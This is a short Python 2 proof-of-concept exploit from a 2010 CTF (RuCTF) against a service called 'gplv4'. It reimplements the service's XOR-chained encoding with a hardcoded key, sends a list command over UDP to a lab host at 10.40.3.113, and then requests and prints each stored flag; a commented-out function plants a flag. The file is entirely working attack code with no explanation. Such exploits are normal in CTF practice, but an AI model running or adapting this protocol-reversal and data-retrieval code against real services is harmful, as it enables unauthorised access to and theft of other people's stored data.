# ructf2010 gplv4 poc
# http://smokedchicken.org

from socket import *
import random

def decode(key, data):
    index = 0;
    out = ""
    while index < len(data):
        len2 = len(key)
        if (len(key) > len(data)):
            len2 = len(data)
        if index < 8:
            for i in range(len2):
                out = out + chr(ord(data[i]) ^ ord(key[i]))
        else:
            key2 = data[index - 8:index]
            len2 = len(key2)
            if (len2 + index > len(data)):
                len2 = len(data) - index
            for i in range(len2):
                out = out + chr(ord(data[i + index]) ^ ord(key2[i]))
        index = index + 8
    return out

def encode(key, data):
    index = 0;
    out = ""

    while index < len(data):
        len2 = len(key)
        if (len(key) > len(data)):
            len2 = len(data)

        if index < 8:
            for i in range(len2):
                out = out + chr(ord(data[i]) ^ ord(key[i]))
        else:
            key2 = out[index - 8:index]
            len2 = len(key2)
            if (len2 + index > len(data)):
                len2 = len(data) - index
            for i in range(len2):
                out = out + chr(ord(data[i + index]) ^ ord(key2[i]))
        index = index + 8
    return out

def udp_transfer(data, host, norecv):
    port = random.randint(1025,65534)
    udp = socket(AF_INET, SOCK_DGRAM)
    udp.sendto(data, (host, port))
    if norecv == 0:
        (data2, addr) = udp.recvfrom(500)
        return data2
    else:
        return

def put_flag(host):
    key = 'THINKPAD'
    cmd_put = 'Pfgzl-4sbb-2sx6:ADHASDKASDIAIDADADAPIASPDIDPQ43='
    data = encode(key, cmd_put)
    udp_transfer(data, host, 1)

key = 'THINKPAD'
host = '10.40.3.113'

#put_flag(host)  

cmd_list = 'L'

data = encode(key, cmd_list)
data2 = udp_transfer(data, host, 0)

flags_string = decode(key, data2)

flags = flags_string.split(';');

for flag in flags:
    if flag == "":
        break
    cmd_get = "G" + flag
    data = encode(key, cmd_get)
    data2 = udp_transfer(data, host, 0)
    print decode(key, data2)